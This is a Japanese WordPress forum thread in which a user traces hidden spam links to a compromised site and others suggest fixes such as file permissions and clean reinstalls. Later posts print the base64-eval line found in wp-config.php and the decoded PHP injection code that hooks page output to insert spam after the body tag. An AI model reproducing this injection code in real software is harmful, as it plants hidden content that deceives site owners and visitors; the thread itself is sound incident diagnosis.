フォーラム

PHPファイルに不正なコードが埋め込まれる (30 件の投稿)

  1. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    はじめまして、以前からWordPressを使っていますが、このたび何者かによってハックされてしまったようです。

    具体的には、<body>のあとに、

    <div style="position:absolute;left:-48667px;top:-65558px"><!--779212266--><h1>sony ericsson k300i downloads</h1> Nokia <a href="http://www.jjsdesign.net/forum/?info-about=632" title="sony k300i downloads ericsson">sony k300i downloads ericsson</a>
    ・・・・・・・
    in our database that you can offer on your site! </div>
    <div id="page">

    といったように、膨大な広告リンクが埋め込まれてしまいます。

    WordPressをアップグレードしたり、テンプレートのファイルを見ましたが解決しません。

    どなたか解決方法を教えていただければ幸いです。

  2. taikiken
    メンバー
    9 ヶ月前の投稿 #

    コードを変更されるというのはかなり困った状態ですね。
    原因が何かはまだ分かりませんが以下のことを試す価値はあると思います。

    現在使用中のFTPアカウントを削除し新しく設定する。
    使用中DBユーザーを削除し新設する。
    どちらも削除ができないなら、少なくともパスワードを変更する。

    を現在使用しているマシン、ネットワーク以外から行う。

  3. tai
    管理者
    9 ヶ月前の投稿 #

    2点教えてください。

    ・テーマをデフォルトに戻すとどうなりますか?
    ・プラグインをすべてを停止するとどうなりますか?

  4. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    taiさん、

    >2点教えてください。
    >
    > ・テーマをデフォルトに戻すとどうなりますか?
    > ・プラグインをすべてを停止するとどうなりますか?

    現在、テーマはデフォルトに戻して、プラグインもwp-spamfree以外は外しています。
    wp-spamfreeを外すとspamコメントが殺到するので、これだけは外した状態で再現することを確認してアクティブにしました。

    テーマは、defaultを新しい2.7.1のwp-contentから持ってきた素のものを使っています。

    よろしくお願いします。

  5. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    taikikenさん、

    とりあえずWordPress上のアカウントのパスワードとftpのパスワードは変更してあります。
    DBのパスワードはいじっていないのですが、これも変えた方がよさそうですね。

  6. tenpura
    管理者
    9 ヶ月前の投稿 #

    ahaseg さん

    WordPress というよりサーバーがハックされている可能性があるのでその旨をサーバー管理者に伝えてください。
    WordPress に不正なログインがあるかを調べるには以下のプラグインが使えます。
    http://wordpress.org/extend/plugins/admin-ip-watcher/

    コンテンツを消されたりしないよう、また現状を残しておくという意味で全コンテンツのバックアップを取っておくといいかもしれません。

  7. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    tenpuraさん、

    いくつかWordPressをインストールしていまして、また静的なHTMLコンテンツもアップしていますがそれらではこの現象は起きていません。
    また、このWordPress上でも404エラーが出る画面等では出ていないようです。
    Archive/以下だと違う広告が出ます。

    同様の事例を探っているのですがなかなか見つかりません。

    英語のフォーラムのほうで聞いてみた方がよいですかね。

  8. tai
    管理者
    9 ヶ月前の投稿 #

    ahaseg さん、

    tenpuraさんもお書きになってますが、状況からサーバーがハックされている可能性が高いです。なのでまずはサーバー管理者に状況を伝えてください。

  9. takayukister
    管理者
    9 ヶ月前の投稿 #

    ahaseg さん、

    何点か確認させてください。

    1) テーマは元からデフォルトを使っていたのでしょうか、それとも元は別のものを使っていて、今回テストのためにデフォルトに戻されたのでしょうか。デフォルト以外のテーマでも同様の現象が見られますか、それとも別のテーマに変えたら違いが見られるでしょうか。

    2) HTML のソースを貼られていますが、これはどのようにして確認したものですか。body のあとに、と書かれていますが body のすぐ後でしょうか、それとも間に何か入るのでしょうか。公開可能なサイトであれば URL を教えてください(こういったケースで公開不可能なサイトについて外から助言するのはそもそも困難ですので予めご了解を)。

    3) WordPress のバージョン、PHP、MySQL、OS 等々のバージョンなど、基本情報を教えてください。ホスティングサーバーをお使いでしたらどこのどのサーバーか、わかる範囲で詳しく教えてください。

  10. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    taiさん、

    なるほど、ちなみに某さくらのレンタルサーバ上で運用していますが、別にインストールしたWordPressでは発生していないのが若干謎ではあります。

    いずれにせよサーバ側に問い合わせてみたいと思います。

  11. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    takayukisterさん、

    公開情報不足でした。申し訳ありません。

    1)テーマはデフォルトと別なものとを切り替えながら使っていました。
    今回の問題をblogの閲覧者から指摘されデフォルトに戻し、かつオリジナルのdefaultフォルダで差し替えたものを使っています。
    別なテーマにしてもこの問題は発生します。

    2)サイトは、
    http://www.underconcept.com/blog/
    です。
    具体的には、<body>タグのあとにこのSPAMが入っています。
    通常はCSSで見えなくなっているために運営者の自分では気づきませんでしたが、CSSを切ると見ることができます。

    3)バージョン情報は以下となります。

    ホスティング: さくらのレンタルサーバ
    PHP: 5.2.8
    MySQL: 4.0.27
    Apache: 1.3.39
    WordPress: 2.7.1

    よろしくお願いします。

  12. lilyfan
    メンバー
    9 ヶ月前の投稿 #

    状況から言って、確かに第三者にいじられている可能性が大ですが、こういう行為は「クラッキング」と言います。「ハック」と言ってはなりません。

    # 質問者は別に構いませんが、tenpura さん, tai さんが「ハック」という言葉を使われたのは非常に残念でなりません。
    # 解決後でいいですから、トピックタイトルを「クラック」に変更されることをお願いします。

    「いちゃもん」はこれぐらいにして、基本的な問題切り分けとして、これはウェブブラウザーで見た HTML ソース *だけ* がいじられているんでしょうか (テーマファイル自体には広告コードが入ってない)。それとも、利用中のテーマファイル (index.php や header.php 等) 自体に広告コードが入ってしまっている (== テーマファイルが直接書き換えられてしまっている) んでしょうか。

    前者ならば、WordPress のコアファイルのどこかに悪意あるコードが混ざってしまった可能性があります。この場合、バックアップをきちんと取って、関連ファイルをすべて消して再インストールすることをおすすめします (アップグレードでは悪い部分が残ることがあります)。このとき、http://ja.wordpress.org/ から WordPress を入手し直すのが確実です (手元にあるものを使ったり、ヨソから入手したものを使ってはいけません)。

    後者の場合、サーバーに転送する前のローカルファイルに広告コードが載ってないか確認してください。そうでなければ、サーバーに誰かが侵入された可能性があります。さくらのサポートに早急に連絡して、対処を仰いでください。

    taikiken さんも書かれていますが、いま利用中のコンピューターが汚染されている (ウイルス等により、第三者が自由にいじれる) 可能性があります。他にパソコンがあれば、ウイルスチェックをした上で、その端末を使って作業してください。パソコンが1台しかなければ、仕方ないのでウイルスチェックをかけて、その端末を使ってください。

    さくらのサービスプランが何かは分かりませんが、レンタルサーバー側が侵入されることは可能性として低いです。

    現在広告コードが入ってしまっているならば、閲覧者に迷惑がかかりますから、いったんサイトを閉鎖しておいた方が無難です。一番いいのは public_html 等の公開ディレクトリーのパーミッションを 700、ファイルは 600 にしてしまうことです。(調査のため、削除はしないでください)
    Maintenance Mode を使う手もありますが、WordPress 自体は稼動してしまうので、あまり好ましくありません。

  13. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    追加です、MySQL上では、以下のテーブルが確認できます。
    (xxは自分でwp-config.phpで設定したprefixです)

    xx_comments
    xx_links
    xx_options
    xx_postmeta
    xx_posts
    xx_terms
    xx_term_relationships
    xx_term_txonomy
    xx_usermeta
    xx_users

  14. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    lilyfanさん、

    状況から言って、確かに第三者にいじられている可能性が大ですが、こういう行為は「クラッキング」と言います。「ハック」と言ってはなりません。

    確かにその通りです。
    不適切でした。

    「いちゃもん」はこれぐらいにして、基本的な問題切り分けとして、これはウェブブラウザーで見た HTML ソース *だけ* がいじられているんでしょうか (テーマファイル自体には広告コードが入ってない)。それとも、利用中のテーマファイル (index.php や header.php 等) 自体に広告コードが入ってしまっている (== テーマファイルが直接書き換えられてしまっている) んでしょうか。

    テーマファイルを切り替えたり、入れ直したりしても問題が再発することから、ご指摘の前者ではないかと思っております。

    サーバからwordpressフォルダごとローカルに持ってきて(ダウンロードして)、ファイルの検索を行いましたが、該当のSPAMテキストは見つかりませんでした。
    おそらくどこかのサーバを見に行っているのだと思いますが、その箇所は見つけられていません。

    また、zipを展開したソースにwp-config.php、wp-contents/uploads/*だけ更新したものでも同じ現象が発生しています。

    DBはまだなにも検証していないので、残るはDBなのですが、こちらはどこから手をつけてよいのか検討がつかない状況です。

    よろしくお願いします。

  15. php-web
    メンバー
    9 ヶ月前の投稿 #

    使っていたプラグインおよびテーマはどんなものでしょうか?

    プラグインかテーマの中に、広告をこっそり仕込むスクリプトが混入していた可能性が高いと思います。

  16. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    みなさま、解決しました。

    たいへんお恥ずかしい話ですがwp-config.phpをいじられていたようです。

    wp-config.phpの冒頭に、

    eval(base64_decode('aWYoZ・・・・CIpO319')); ?>

    というような文字列が埋め込まれており、base64の文字列部分をデコードしてみたところ、

    if(preg_match("/\<body/si",$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace("/(\<body[^\>]*\>)/si","$1".gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start("dgobh");

    といった記述が見られましたため、ここが原因かと思われます。
    ($xxxxxxといった箇所が多く、全体は読み取れていません)

    ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。

    この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。

    いろいろ助言いただきましてありがとうございました。
    また、wp-config.phpという初歩的な部分でお騒がせしてしまったことをお詫びいたします。

    なお、トピックタイトルをハックからクラックに変更したいと思っておりますが、方法がわかりません。管理者さまにお願いすればよいのでしょうか?

    最後まで質問で恐縮ですが、どなたかご教示いただければと思います。

    よろしくお願いします。

  17. tai
    管理者
    9 ヶ月前の投稿 #

    タイトルを変更しました。:-)

    wp-config.phpが書き換えられた原因が分かったらまた教えてください。

  18. lilyfan
    メンバー
    9 ヶ月前の投稿 #

    ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。

    この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。

    実はずっと前から広告コードが入っていた可能性がありますね。通常の閲覧では見えないので、見逃されていた可能性があります。発見されたご友人がすばらしい仕事をされた、ということですね。

    WordPress のインストーラによって wp-config.php を生成した場合、ウェブサーバーによる書き込み権限が残っています。したがって、悪意あるプラグイン/テーマを実行すると、wp-config.php に悪いコードを入れられる可能性はあります。

    今までに使用したことのあるプラグインやテーマを覚えている限り、リストアップしてみください。このフォーラムに記載される場合は、分かる範囲で配布元 URL も書いてもらえると助かります。

    余談になりますが、wp-config.php を生成したあとは、書き込み権限を落とすのが安全ということですね。本当は、ファイルのオーナーを変更すると完璧ですが、ちょっと手間がかかります。

    書き込み権限が残った状態で、まず FTP/SFTP で wp-config.php を読み取りし、それから wp-config.php を削除してから、FTP/SFTP で wp-config.php をアップロードします。こうすれば、FTP/SFTP ツールによって、あなたが所有者となるファイルを生成できます。

    WordPress のセキュリティー向上を指南する記事はいくつかありますが、wp-config.php のパーミッションについて言及したものは少なかったと思うので、喚起が必要かもしれませんね。このへんは、ちょっとがんばってみます。

  19. lilyfan
    メンバー
    9 ヶ月前の投稿 #

    tai さん:

    タイトルを変更しました。:-)

    ありがとうございます。

    でも、よく考えたら、今回の現象は「wp-config.php の書き換えによる不正な広告コードの挿入」であって、クラックされたかどうかは不確かですよね。つまり、より適切なタイトルは「HTML 出力に不審な広告コードが入る」とか、そういう感じだと思います。

    今回、「ハック」とか「クラック」とか扇動的な言葉があったので、多くの人があわてて対応しましたが、実際には大した現象ではなかった気がします。

    フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。

    折りしも WordPress 2.7.1 がリリースされたタイミングなので、「すわ 2.7 にセキュリティーホールか??」と思う人がおられるかもしれませんし ;-)

  20. fujisan
    メンバー
    9 ヶ月前の投稿 #

    wordpressを同じサーバーで複数(12テーマ)運営していますが、今回の件は大変参考になりました。

    経験上スパムが入って来やすいのは海外(特に米国)のテーマをインストールした後なのですが、wp-config.php を改ざんされるケースは初めて聞いたのでwp-config.phpnoパーミッションの変更(600にするなど)を含めて緊急メンテナンスを行いました。

    素人でもできる対策の一例として、今後はプラグインやテーマ(特に海外製)をhttp://virusscan.jotti.org/(数十のエンジンでウイルスチェックできるサイト)などでチェックしてからインストールしたいと思います。

    私の知識レベルは相当低いのですが、こうした事案は全てのwordpressユーザーにとても重要な情報と知識を与えていただけるので、フォーラムの設置・運営していただいている方に大変感謝しています。今後ともよろしくお願い致します。

  21. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    みなさま、

    タイトルではお騒がせしてしまいまして申し訳ありません。
    たしかに緊急度という意味では低いことでありました。

    また、不完全な情報に対して、有益なアドバイスを多くいただき、感謝しております。

    過去の丸ごとバックアップファイルを調べてみたところ、lilyfanさんのおっしゃるとおり、以前からクラックされた状態でした。
    かつ、所持している同一サーバの4つのWordPress blogのうち、3つが汚染?されておりました。

    加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。

    これらは、ドメイン等は別なのですが、サーバ上では同一ディレクトリ以下にあります。

    /home/username/www/以下
    (==public_html)

    この階層にあり、かつWordPressディレクトリ以下にはない、アクセス解析用のスクリプト(shortstat)も汚染されており、状況的に見て、この配下にあるすべての.phpファイルが汚染されていた、という可能性もありそうです。

    この上位ディレクトリ(/home/usrname/hogehoge/)にあるphpファイルは無事でした。

    基本的にほとんどのファイルは644に設定してあり、wp-config.phpも644でした。
    また、wp-config.phpは手動で作成しているので、オーナーもftpアカウントとなっています。

    それぞれのblogでは試したテーマ、プラグインはさまざまなので、どれか一つのblogから他のblogに汚染が広がった可能性もあります(そもそも可能なのかどうかちょっとわかりませんが)。

    WOrdPress自体は、2.0のころから使っており、サーバ上でももう使っていないblogもあるため、古いソースと新しいソースとが混在していましたが、バージョンを変えたバックアップファイルも汚染されていたため、なにかのスクリプト実行時にファイルを書き換えていくのか?と思っております。

    とりあえず、汚染されていると思われるソースはすべてサーバから削除しているところですが、さらになにかわかりましたらまた書き込みたいと思います。

  22. peace.journey
    メンバー
    9 ヶ月前の投稿 #

    書き込み権限の件で一言。

    ぼくもさくらのレンタルサーバを使用しています。このサーバではPHPはsuEXEC環境のCGIモードで動作します。なので、Apacheが(PHP経由で)ファイルを操作する際は、ディレクトリ・オーナーのパーミッションになります。つまり、ファイルパーミッションが644だと、ユーザ自身が書き込みできるため、Apacheも書き込みできるわけです。

    したがって、Apacheからの書き込みを防ぐには、パーミッションを444にする必要があります。
    取り急ぎ。

  23. tenpura
    管理者
    9 ヶ月前の投稿 #

    ahaseg さん

    ご自分だけの問題とは言い切れないのでさくらの管理者の方へ状況を知らせて調査してもらってください。
    またまだ原因が分かったわけではないようですので解決済は解除しておきます。

    フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。

    修正しました。

  24. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    tenpuraさん、みなさん、

    確かに解決済みではないですね。失礼しました。

    さくらの管理グループには状況の説明を行っています。
    該当ファイルはサーバからは削除してしまったのですが、もしご興味のある方がいましたら研究?のために公開したいと思っております。

    追って経過を報告いたします。

  25. lilyfan
    メンバー
    9 ヶ月前の投稿 #

    タイトルではお騒がせしてしまいまして申し訳ありません。
    たしかに緊急度という意味では低いことでありました。

    質問のタイトルを付けるのは、なかなか難しいですよね。コツとしては「発生している現象をできるだけ素直に具体的に書く」ことです。クラックされたか、だと少し抽象的だと思います。

    # ただし、自分が作ったことのないユーザーが増えているとか、自分以外のXML-RPC 接続が今現在行なわれているとか、「クラックされた」という具体的証拠があれば、そういうタイトルでも構いません。

    加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。

    すなわち、wp-config.php ならずとも、WordPress の本体ファイルもすべて改変されていた、ということでしょうか。それは「侵入された」に近い状況だと思います。

    それぞれのblogでは試したテーマ、プラグインはさまざまなので、

    覚えている限りすべて列挙してもらえれば助かります。著名なテーマ/プラグインでも、バージョンによっては汚染されていたり脆弱性があったりしますので、漏れのないようにお願いします。

  26. tenpura
    管理者
    9 ヶ月前の投稿 #

  27. lilyfan
    メンバー
    9 ヶ月前の投稿 #

    そういえば、以前フォーラムで「コード難読化を使っているテーマの改造をしたい」という相談がありました。

    WordPress 公式テーマディレクトリーで配布されているテーマは、審査ずみのため安全のはずですが、それ以外の場所で配布されているものは、こういう難読化手法が使われていることがあります。そういうプラグインは安全とは言い難いので使うべきではありません。また、そういうコーディング手法を見つけたら、どしどし告発するべきでしょう。

    おそらく、ahaseg さんが過去使ったことのあるテーマ・プラグインに、悪意あるコードが含まれたものがあったのでしょう。

  28. ahaseg
    メンバー
    9 ヶ月前の投稿 #

    同僚に埋め込まれたソース(添付します)を読んでもらいました。

    http://www.simplemachines.org/community/index.php?topic=291486.0

    にもPOSTされているように、ある特定のファイルを読み込ませて、その中に定義されているgml()という関数を呼び出して、<body>直後にその戻り値を挿入しているようです。

    私のケースでは、
    /home/username/www/sitename/wordpress/wp-includes/js/tinymce/themes/
    advanced/images/xp/js.php
    にgml()が定義されているようです。
    (上記フォーラムだとcopper.phpとなています)

    tinymce自体はWYSWYGエディタのJSのようです。

    ということで、なんらかのテーマがこのgml()を呼び出し、Apacheで操作できる(=public_html以下)のファイルに再帰的に書き換えが行われたようです。

    汚染されたWordPressは、Rinというテーマを友人がカスタマイズしたものを使っていました。

    Rin
    http://brokenkode.com/rin

    以下ソースです(ディレクトリ名は書き換えてあります):

    if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
     $GLOBALS['sh_no']=1;
     if(file_exists('/home/username/www/sitename/wordpress/wp-includes/js/
     tinymce/themes/advanced/images/xp/js.php')){
       include_once('/home/username/www/sitename/wordpress/wp-includes/js/
       tinymce/themes/advanced/images/xp/js.php');
       if(function_exists('gml')&&!function_exists('dgobh')){
         if(!function_exists('gzdecode')){
           function gzdecode($d){
             $f=ord(substr($d,3,1));
             $h=10;
             $e=0;
             if($f&4){
               $e=unpack('v',substr($d,10,2));
               $e=$e[1];
               $h+=2+$e;
             }
             if($f&8){
               $h=strpos($d,chr(0),$h)+1;
             }
             if($f&16){
               $h=strpos($d,chr(0),$h)+1;
             }
             if($f&2){
               $h+=2;
             }
             $u=gzinflate(substr($d,$h));
             if($u===FALSE){
               $u=$d;
             }
             return $u;
           }
         }
         function dgobh($b){
           Header('Content-Encoding: none');
           $c=gzdecode($b);
           if(preg_match('/\<body/si',$c)){
             return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
           }
           else{
             return gml().$c;
           }
         }
         ob_start('dgobh');
       }
     }
    }
  29. jiluro
    メンバー
    9 ヶ月前の投稿 #

    このスレッドはとても重要ですね・・・・

    予防策としては、peace.journeyさまが書かれていた、

    wp-config.php

    ファイルのパーミッションを444にする、ということだと理解いたしました。
    早速サイトに反映させました。

    そもそも、wp-config.phpという極めて重要なファイルが、WP設置した直下に置かれてある仕組みというのは怖いなぁと思いました・・・・

    1ユーザとして、フォーラムでの皆様のご尽力に感謝しております。

  30. officegilberto
    メンバー
    7 ヶ月前の投稿 #

     僕もさくらサーバーの一つで同じ状況になりました。通常は見えないのですが「ktai_style」を使った携帯サイトですと、TOPにこのソースがずらずらと出てくる事で気づきました。

     発生元はいまだに不明です。テーマファイル、プラグインファイルなど様々なファイルにこのコードが書き加えられていました。
     アメリカのフォーラムにあったいくつかの解決策では結局解決出来なかったため全てのファイルを削除後、クリーンなものに入れ替えることで対応しました。

     内容的にはアフェリエイト用のHTMLコードが書かれているだけのようですが、明らかに実害がありますのできちんとした対応策が分かると助かります。

返信

ログイン しなければ投稿できません。

About this Topic